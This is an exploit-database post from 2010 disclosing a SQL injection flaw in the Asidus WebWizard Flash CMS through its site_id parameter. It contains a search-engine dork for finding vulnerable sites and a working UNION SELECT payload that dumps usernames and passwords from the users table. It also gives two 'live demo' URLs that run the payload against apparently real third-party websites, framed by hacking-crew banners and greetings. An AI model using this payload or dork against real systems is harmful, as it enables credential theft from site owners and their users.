Asidus WebWizard (site_id) SQL Injection Vulnerability
Posted on 05 July 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Asidus WebWizard (site_id) SQL Injection Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================= Asidus WebWizard (site_id) SQL Injection Vulnerability ======================================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' __ /'__` / \__ /'__` 0 0 /\_, ___ /\_/\_ ___ ,_/ / _ ___ 1 1 /_/ /' _ ` / /_/_\_<_ /'___ / /`'__ 0 0 / / / / \__/ \_ \_ / 1 1 \_ \_ \_\_ \____/ \____\ \__\ \____/ \_ 0 0 /_//_//_/ \_ /___/ /____/ /__/ /___/ /_/ 1 1 \____/ >> Exploit database separated by exploit 0 0 /___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ########################################### 1 0 I'm **RoAd_KiLlEr** member from Inj3ct0r Team 1 1 ########################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 [+]Title Asidus WebWizard (site_id=) SQL Injection Vulnerability [+]Author **RoAd_KiLlEr** [+]Contact RoAd_KiLlEr[at]Khg-Crew[dot]Ws [+]Tested on Win Xp Sp 2/3 --------------------------------------------------------------------------- [~] Founded by **RoAd_KiLlEr** [~] Team: Albanian Hacking Crew [~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws [~] Home: http://inj3ct0r.com [~] Vendor: http://asiduswebwizard.com/ ==========ExPl0iT3d by **RoAd_KiLlEr**========== [+]Description: Asidus WebWizard is a Cutting Edge Flash CMS (Flash Content Management System) that allows you to create and update your website on-line without leaving your browser window. Our team developed the most user friendly and yet the most powerful Flash CMS on the market today. Now you can create your own website, faster and easier than ever. ========================================= [+] Dork: inurl:"index.php?site_id=" or inurl:index.php?site_id= site:.mk ========================================== [+]. SQL-i Vulnerability =+=+=+=+=+=+=+=+=+ [PoC]: http://127.0.0.1/path/index.php?site_id=[Exploit] [Exploit]: union select 1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10+from+users-- Live Demo 1: http://tea-dent.com.mk/index.php?site_id=-49%20union%20select%201,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10+from+users-- Live Demo 2: http://blabla.com.mk/index.php?site_id=-13%20union%20select%201,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10+from+users-- Look at the title :P.You can see more if you look the source ctrl+u. =========================================================================================== [!] Albanian Hacking Crew =========================================================================================== [!] **RoAd_KiLlEr** =========================================================================================== [!] MaiL: sukihack[at]gmail[dot]com =========================================================================================== [!] Greetz To : Ton![w]indowS | X-n3t | b4cKd00r ~ | DarKHackeR. | The|DennY` | EaglE EyE | Lekosta | KHG | THE_1NV1S1BL3 & All Albanian/Kosova Hackers =========================================================================================== [!] Spec Th4nks: Inj3ct0r.com & r0073r | indoushka from Dz-Ghost Team | MaFFiTeRRoR | Sid3^effects | The_Exploited | And All My Friendz =========================================================================================== [!] Red n'black i dress eagle on my chest It's good to be an ALBANIAN Keep my head up high for that flag I die Im proud to be an ALBANIAN =========================================================== # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-07-05]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
